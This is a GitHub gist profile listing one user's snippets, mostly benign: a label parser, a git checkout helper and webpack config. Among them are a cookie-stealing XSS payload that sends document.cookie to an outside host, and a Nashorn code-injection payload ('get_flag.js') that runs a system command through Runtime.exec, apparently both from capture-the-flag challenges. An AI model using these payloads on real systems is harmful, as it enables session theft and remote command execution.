Skip to content

Instantly share code, notes, and snippets.

View chrismatix's full-sized avatar
📚
Exploring

Christoph Proeschel chrismatix

📚
Exploring
View GitHub Profile
@chrismatix
chrismatix / parse_github_labels.js
Created December 9, 2020 08:43
Parse Github labels to JSON file
var labels = [];
var hexDigits = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"];
//Function to convert rgb color to hex format
function rgb2hex(rgb) {
rgb = rgb.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/);
return "#" + hex(rgb[1]) + hex(rgb[2]) + hex(rgb[3]);
}
@chrismatix
chrismatix / checkout_recent.sh
Created September 27, 2019 09:23
Checkout branches recently checked out in git
checkout_recent() {
LASTN=${1:-5}
git checkout $(git reflog | egrep -io 'moving from ([^[:space:]]+)' | awk '{ print $3 }' | awk ' !x[$0]++' | egrep -v '^[a-f0-9]{40}$' | head -n $LASTN | fzf)
}
alias gre="checkout_recent"
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://3afee2d6a486c1115d6bc370352fc37e.webhacky1/?c=" + document.cookie, true);
xhttp.send();
@chrismatix
chrismatix / get_flag.js
Created December 15, 2017 10:23
wolfram beta
(function () {try {var rt = Java.type('java.lang.Runtime').getRuntime();var Scanner = Java.type('java.util.Scanner');var s = new Scanner(rt.exec('/usr/bin/get_flag').getInputStream()).useDelimiter(' ');return s.hasNext() ? s.next() : '';} catch (e) {return e}})();
@chrismatix
chrismatix / gist:e0861a950789dff52467365d92ebafc1
Last active September 13, 2017 18:02
webpack dev middleware with multiple webroots
const express = require('express');
const webpack = require('webpack');
const DashboardPlugin = require('webpack-dashboard/plugin');
const chalk = require('chalk');
const path = require('path');
const config = {
dev: {
host: 'localhost',
port: 3000
### Keybase proof
I hereby claim:
* I am xchrispx on github.
* I am captainchris (https://keybase.io/captainchris) on keybase.
* I have a public key ASB7SJrPati4UNHAh8lV3OVSljXIjFUvntvBNbv60q2ligo
To claim this, I am signing this object: